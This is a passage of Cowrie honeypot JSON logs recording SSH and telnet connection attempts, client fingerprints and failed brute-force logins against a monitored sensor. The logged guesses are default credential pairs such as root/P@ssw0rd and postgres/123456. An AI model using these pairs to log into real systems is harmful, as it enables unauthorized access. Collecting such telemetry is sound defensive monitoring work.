0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:42.957407Z","src_ip":"176.65.132.129","session":"a5a2de507019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:43.206807Z","src_ip":"176.65.132.129","session":"a5a2de507019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:44.290884Z","src_ip":"176.65.132.129","session":"a5a2de507019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48286,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca992081e002","protocol":"telnet","message":"New connection: 45.58.127.90:48286 (10.17.0.5:23) [session: ca992081e002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:46.166498Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47158,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4372df3ee1e","protocol":"ssh","message":"New connection: 176.65.132.129:47158 (159.203.135.109:22) [session: a4372df3ee1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:46.274485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:46.278478Z","src_ip":"176.65.132.129","session":"a4372df3ee1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:46.361719Z","src_ip":"176.65.132.129","session":"a4372df3ee1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48302,"dst_ip":"10.17.0.5","dst_port":23,"session":"611c8d3c831f","protocol":"telnet","message":"New connection: 45.58.127.90:48302 (10.17.0.5:23) [session: 611c8d3c831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:46.518133Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:46.608792Z","src_ip":"176.65.132.129","session":"a4372df3ee1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:47.854860Z","src_ip":"176.65.132.129","session":"a4372df3ee1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.191.16.102","src_port":40046,"dst_ip":"10.17.0.5","dst_port":22,"session":"70447af4f2dc","protocol":"ssh","message":"New connection: 18.191.16.102:40046 (10.17.0.5:22) [session: 70447af4f2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:48.555976Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":37620,"dst_ip":"159.203.135.109","dst_port":22,"session":"48c115863645","protocol":"ssh","message":"New connection: 172.237.20.62:37620 (159.203.135.109:22) [session: 48c115863645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:48.808688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:48.813566Z","src_ip":"172.237.20.62","session":"48c115863645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:48.976221Z","src_ip":"172.237.20.62","session":"48c115863645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.191.16.102","src_port":52884,"dst_ip":"10.17.0.5","dst_port":23,"session":"85553f4b8da3","protocol":"telnet","message":"New connection: 18.191.16.102:52884 (10.17.0.5:23) [session: 85553f4b8da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:49.071687Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:49.199746Z","src_ip":"18.191.16.102","session":"70447af4f2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.19193029403686523,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:49.263300Z","src_ip":"18.191.16.102","session":"85553f4b8da3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:49.463972Z","src_ip":"172.237.20.62","session":"48c115863645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47170,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dbdc0f5c1c2","protocol":"ssh","message":"New connection: 176.65.132.129:47170 (159.203.135.109:22) [session: 4dbdc0f5c1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:49.685620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:49.691127Z","src_ip":"176.65.132.129","session":"4dbdc0f5c1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:49.776112Z","src_ip":"176.65.132.129","session":"4dbdc0f5c1c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:50.028780Z","src_ip":"176.65.132.129","session":"4dbdc0f5c1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:50.628436Z","src_ip":"172.237.20.62","session":"48c115863645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:51.114612Z","src_ip":"176.65.132.129","session":"4dbdc0f5c1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47180,"dst_ip":"159.203.135.109","dst_port":22,"session":"6322756d7371","protocol":"ssh","message":"New connection: 176.65.132.129:47180 (159.203.135.109:22) [session: 6322756d7371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:53.185197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:53.189207Z","src_ip":"176.65.132.129","session":"6322756d7371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:53.270439Z","src_ip":"176.65.132.129","session":"6322756d7371","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:53.540050Z","src_ip":"176.65.132.129","session":"6322756d7371","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.83769345283508,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:54.397997Z","src_ip":"45.58.127.90","session":"ed6a50f4f096","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:54.624102Z","src_ip":"176.65.132.129","session":"6322756d7371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39288,"dst_ip":"159.203.135.109","dst_port":22,"session":"f51c99d050d4","protocol":"ssh","message":"New connection: 176.65.132.129:39288 (159.203.135.109:22) [session: f51c99d050d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:56.525051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:56.529793Z","src_ip":"176.65.132.129","session":"f51c99d050d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:56.613940Z","src_ip":"176.65.132.129","session":"f51c99d050d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:56.859791Z","src_ip":"176.65.132.129","session":"f51c99d050d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:58.074926Z","src_ip":"176.65.132.129","session":"f51c99d050d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.89093208312988,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:58.553629Z","src_ip":"45.58.127.90","session":"96f8bb4ca0ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52162,"dst_ip":"159.203.135.109","dst_port":22,"session":"5246bd86b7b8","protocol":"ssh","message":"New connection: 172.237.20.62:52162 (159.203.135.109:22) [session: 5246bd86b7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:59.602598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:59.607106Z","src_ip":"172.237.20.62","session":"5246bd86b7b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:59.767940Z","src_ip":"172.237.20.62","session":"5246bd86b7b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39304,"dst_ip":"159.203.135.109","dst_port":22,"session":"b190fa84b9f9","protocol":"ssh","message":"New connection: 176.65.132.129:39304 (159.203.135.109:22) [session: b190fa84b9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:59.868601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:59.872779Z","src_ip":"176.65.132.129","session":"b190fa84b9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:59.954307Z","src_ip":"176.65.132.129","session":"b190fa84b9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:00.203061Z","src_ip":"176.65.132.129","session":"b190fa84b9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:00.459115Z","src_ip":"172.237.20.62","session":"5246bd86b7b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:01.288566Z","src_ip":"176.65.132.129","session":"b190fa84b9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:01.623445Z","src_ip":"172.237.20.62","session":"5246bd86b7b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.14006042480469,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:03.056798Z","src_ip":"45.58.127.90","session":"14557962720e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39316,"dst_ip":"159.203.135.109","dst_port":22,"session":"238bf1a2fa8e","protocol":"ssh","message":"New connection: 176.65.132.129:39316 (159.203.135.109:22) [session: 238bf1a2fa8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:03.342401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:03.347411Z","src_ip":"176.65.132.129","session":"238bf1a2fa8e","protocol":"ssh"}
